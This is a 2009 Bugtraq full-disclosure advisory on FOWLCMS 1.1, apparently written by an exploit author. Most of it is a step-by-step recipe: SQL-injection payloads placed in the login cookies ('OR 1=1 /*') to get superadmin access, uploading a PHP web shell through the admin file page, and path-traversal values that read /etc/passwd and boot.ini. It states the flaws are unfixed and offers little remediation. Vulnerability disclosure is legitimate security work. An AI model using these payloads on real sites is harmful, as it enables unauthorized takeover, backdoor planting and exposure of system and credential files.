bugtraq - FOWLCMS 1.1--Multiple Remote Vulnerabilities-->

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Message-Id: <200904222320.n3MNKlBF032257@www3.securityfocus.com>
Date: Wed, 22 Apr 2009 17:20:47 -0600
From: y3nh4ck3r@...il.com
To: bugtraq@...urityfocus.com
Subject: FOWLCMS 1.1--Multiple Remote Vulnerabilities-->

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  MULTIPLE REMOTE VULNERABILITIES--FOWLCMS 1.1-->
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CMS INFORMATION:
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-->WEB: https://sourceforge.net/projects/fowlcms/
-->DOWNLOAD: https://sourceforge.net/projects/fowlcms/
-->DEMO: N/A
-->CATEGORY: CMS / Portals
-->DESCRIPTION: FOWL is not only a generic term for birds breeded as farm animals,
		but also a CMS (Content Management System)...Use for: Blog Private homepage.
-->RELEASED: 2009-04-15

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CMS VULNERABILITY:
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-->TESTED ON: firefox 3
-->DORK: N/A
-->CATEGORY: AUTH-BYPASS(INSECURE-COOKIE|SQLi)/SHELL-UPLOAD/LFI
-->AFFECT VERSION: 1.1
-->Discovered Bug date: 2009-04-22
-->Reported Bug date: 2009-04-22
-->Fixed bug date: Not fixed
-->Info patch: Not fixed
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.
-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)


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AUTHENTICATION BYPASS (INSECURE COOKIE HANDLING/SQLi):

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POC:
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Add cookies:

User_ID= xXx' [SQL] /*
PW=xXx

Or...

User_ID=xXx
PW=xXx' [SQL] /*

Both are injectable.

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EXPLOIT:
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User_ID= xXx' OR 1=1 /*
PW=xXx

OR...

User_ID=xXx
PW=xXx' OR 1=1 /*

Superadmin account!

**************************************************************************
When we are superadmin, we can exploit other attacks...(follow reading).
**************************************************************************

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SHELL UPLOAD VULNERABILITY:

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http://[HOST]/[HOME_PATH]/index.php?site=admin&action=files

Here we upload our shell. (Use a reliable path, ex: test)

Then, if you go to the link:

http://[HOST]/[HOME_PATH]/[PATH-SHELL]/shell.php


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LOCAL FILE INCLUSION (LFI):

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PoC:
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Sites are stored in DB, but the administration panel allows to change sites (del/modify) (below link)

http://[HOST]/[HOME_PATH]/index.php?site=admin&action=sites

There, we change:

./../../../../boot.ini --> column: Dateiname

Something (signup for ex.) --> column: Alias

Or...

./../../../etc/passwd  --> column: Dateiname

Something (signup for ex.)  --> column: Alias

Then, we go to:

http://[HOST]/[HOME_PATH]/index.php?site=[Alias]

We can see the boot.ini or passwd files.

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EXPLOIT:
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changing the "signup" alias for the file that you want.

http://[HOST]/[HOME_PATH]/index.php?site=signup

Exploited!


That's all!